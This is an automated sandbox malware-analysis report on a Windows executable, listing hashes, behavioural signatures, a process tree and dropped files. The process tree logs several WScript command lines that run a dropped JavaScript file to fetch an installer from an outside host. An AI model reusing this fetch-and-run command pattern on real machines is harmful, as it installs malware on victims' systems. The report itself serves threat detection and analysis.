Analysis

  • max time kernel
    106s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    07/11/2022, 08:44

General

  • Target

    ab8b8a50b38cf7345e55dddf882511504fcc44ebabe2aa671708cc4b8b4e1795.exe

  • Size

    184KB

  • MD5

    33a5c9ede38eb3c3a775ba24f18df3de

  • SHA1

    2d35195af0d3143cd26706e6264d8b037f11a9a3

  • SHA256

    ab8b8a50b38cf7345e55dddf882511504fcc44ebabe2aa671708cc4b8b4e1795

  • SHA512

    3970e5039e43f32517c3ab3baa977a7c2bb620fcee85b4daff90f82158a5b36186049ba663e68788c281353867a4fa97c0005fbc9aeb649305b76943976b6379

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3A:/7BSH8zUB+nGESaaRvoB7FJNndnJ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab8b8a50b38cf7345e55dddf882511504fcc44ebabe2aa671708cc4b8b4e1795.exe
    "C:\Users\Admin\AppData\Local\Temp\ab8b8a50b38cf7345e55dddf882511504fcc44ebabe2aa671708cc4b8b4e1795.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:948
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf56B9.js" http://www.djapp.info/?domain=ZVRKrqfoBu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf56B9.exe
      2⤵
      • Blocklisted process makes network request
      PID:1708
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf56B9.js" http://www.djapp.info/?domain=ZVRKrqfoBu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf56B9.exe
      2⤵
      • Blocklisted process makes network request
      PID:2008
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf56B9.js" http://www.djapp.info/?domain=ZVRKrqfoBu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf56B9.exe
      2⤵
      • Blocklisted process makes network request
      PID:844
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf56B9.js" http://www.djapp.info/?domain=ZVRKrqfoBu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf56B9.exe
      2⤵
      • Blocklisted process makes network request
      PID:772
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf56B9.js" http://www.djapp.info/?domain=ZVRKrqfoBu.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf56B9.exe
      2⤵
      • Blocklisted process makes network request
      PID:2044

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf56B9.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\7W97PKSX.txt

    Filesize

    100B

    MD5

    af0c7c1f74f96ee53a81c2fe06b4479b

    SHA1

    579d65c7efd805250fe738a9ef56b7aea3e95f90

    SHA256

    6f678c88044a83f6a526e60db041791063ab60ed59a6c886c65996769a8c9f35

    SHA512

    d26fb4104390210943ab965ab21dc25774fe429b6c9c97f6f7e2e2bc7f3b19fdfc7a0b0b5c0a4406b3b5cc8536895fc2d898ea7f04bb8367809b4cf21ccf06c3

  • memory/948-54-0x0000000076041000-0x0000000076043000-memory.dmp

    Filesize

    8KB